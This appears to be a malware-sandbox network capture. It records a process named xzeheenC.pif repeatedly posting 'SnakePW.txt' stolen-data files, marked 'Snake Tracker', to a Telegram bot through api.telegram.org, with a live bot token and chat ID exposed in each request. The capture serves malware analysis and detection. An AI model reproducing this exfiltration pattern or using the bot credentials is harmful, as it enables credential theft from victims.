2024-12-18 15:17:49 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 38 38 33 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 30 36 39 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":418839,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535069,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49888	149.154.167.220	443	6656	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:17:50 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd20e90cf9d34f Host: api.telegram.org Content-Length: 535
2024-12-18 15:17:50 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 30 65 39 30 63 66 39 64 33 34 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 36 3a 34 38 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd20e90cf9d34fContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:16:48Client IP:
2024-12-18 15:17:51 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:17:51 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:17:51 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 38 38 34 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 30 37 31 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":418843,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535071,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49889	149.154.167.220	443	2140	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:17:50 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd2032ce18b5a9 Host: api.telegram.org Content-Length: 535
2024-12-18 15:17:50 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 30 33 32 63 65 31 38 62 35 61 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 37 3a 30 35 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd2032ce18b5a9Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:17:05Client IP:
2024-12-18 15:17:51 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:17:51 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:17:51 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 38 38 34 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 30 37 31 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":418841,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535071,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49890	149.154.167.220	443	432	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:17:50 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd2056fe5a93ed Host: api.telegram.org Content-Length: 535
2024-12-18 15:17:50 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 30 35 36 66 65 35 61 39 33 65 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 37 3a 30 30 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd2056fe5a93edContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:17:00Client IP:
2024-12-18 15:17:51 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:17:51 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:17:51 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 38 38 34 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 30 37 31 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":418844,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535071,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49896	149.154.167.220	443	2140	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:17:52 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd2049c4599bf0 Host: api.telegram.org Content-Length: 535
2024-12-18 15:17:52 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 30 34 39 63 34 35 39 39 62 66 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 37 3a 30 35 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd2049c4599bf0Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:17:05Client IP:
2024-12-18 15:17:53 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:17:53 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:17:53 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 38 38 34 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 30 37 33 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":418846,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535073,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49897	149.154.167.220	443	6656	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:17:52 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd2101f28456d5 Host: api.telegram.org Content-Length: 535
2024-12-18 15:17:52 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 31 30 31 66 32 38 34 35 36 64 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 36 3a 34 38 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd2101f28456d5Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:16:48Client IP:
2024-12-18 15:17:53 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:17:53 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:17:53 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 38 38 34 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 30 37 33 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":418848,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535073,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49898	149.154.167.220	443	432	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:17:52 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd206c71d33bae Host: api.telegram.org Content-Length: 535
2024-12-18 15:17:52 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 30 36 63 37 31 64 33 33 62 61 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 37 3a 30 30 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd206c71d33baeContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:17:00Client IP:
2024-12-18 15:17:53 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:17:53 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:17:53 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 38 38 34 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 30 37 33 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":418849,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535073,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	49903	149.154.167.220	443	2140	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:17:54 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd205f4e93af8a Host: api.telegram.org Content-Length: 535
2024-12-18 15:17:54 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 30 35 66 34 65 39 33 61 66 38 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 37 3a 30 35 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd205f4e93af8aContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:17:05Client IP:
2024-12-18 15:17:55 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:17:55 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:17:55 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 38 38 35 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 30 37 35 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":418852,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535075,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.5	49904	149.154.167.220	443

Timestamp	Bytes transferred	Direction	Data
